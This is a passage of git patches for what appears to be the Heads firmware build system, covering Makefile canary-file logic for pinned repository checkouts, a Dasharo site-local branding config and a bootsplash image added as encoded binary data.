"$(build)/$($1_base_dir)" ]; then \ + echo "INFO: .canary file and directory not found. Cloning repository $($1_repo) into $(build)/$($1_base_dir)" && \ git clone $($1_repo) "$(build)/$($1_base_dir)" && \ echo "INFO: Resetting repository to commit $($1_commit_hash)" && \ git -C "$(build)/$($1_base_dir)" reset --hard $($1_commit_hash) && \ echo "INFO: Creating .canary file with repo and commit hash" && \ echo -n '$($1_repo)|$($1_commit_hash)' > "$$@" ; \ - elif [ "$$$$(cat "$$@")" != '$($1_repo)|$($1_commit_hash)' ]; then \ - echo "INFO: Canary file differs. Switching $1 to $($1_repo) at $($1_commit_hash)" && \ + elif [ ! -e "$$@" ] || [ "$$$$(cat "$$@")" != '$($1_repo)|$($1_commit_hash)' ]; then \ + echo "INFO: .canary file missing or differs. Resetting $1 to $($1_repo) at $($1_commit_hash)" && \ git -C "$(build)/$($1_base_dir)" reset --hard HEAD^ && \ echo "INFO: Fetching commit $($1_commit_hash) from $($1_repo) (without recursing submodules)" && \ git -C "$(build)/$($1_base_dir)" fetch $($1_repo) $($1_commit_hash) --recurse-submodules=no && \ From e383216798007c58c0a2a495a486b8a0ce0369d4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Filip=20Lewi=C5=84ski?= Date: Mon, 12 May 2025 12:46:37 +0200 Subject: [PATCH 617/619] site-local/: add MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Filip Lewiński --- site-local/config | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 site-local/config diff --git a/site-local/config b/site-local/config new file mode 100644 index 000000000..059c26a39 --- /dev/null +++ b/site-local/config @@ -0,0 +1,7 @@ +BRAND_NAME=Dasharo + +ifeq "novacustom-nv4x_adl" "$(BOARD)" + +export CONFIG_COREBOOT_LOCALVERSION="\(coreboot+heads\) v0.9.2-rc2" + +endif From 80e8cea47397358bd1c0815a67d2f930e3c9ef3f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Filip=20Lewi=C5=84ski?= Date: Mon, 12 May 2025 12:48:30 +0200 Subject: [PATCH 618/619] branding/Dasharo/: add MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Filip Lewiński --- branding/Dasharo/bootsplash.jpg | Bin 0 -> 28747 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 branding/Dasharo/bootsplash.jpg diff --git a/branding/Dasharo/bootsplash.jpg b/branding/Dasharo/bootsplash.jpg new file mode 100644 index 0000000000000000000000000000000000000000..77a6440643f9c61209763ec0e56b7f723254b5ca GIT binary patch literal 28747 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 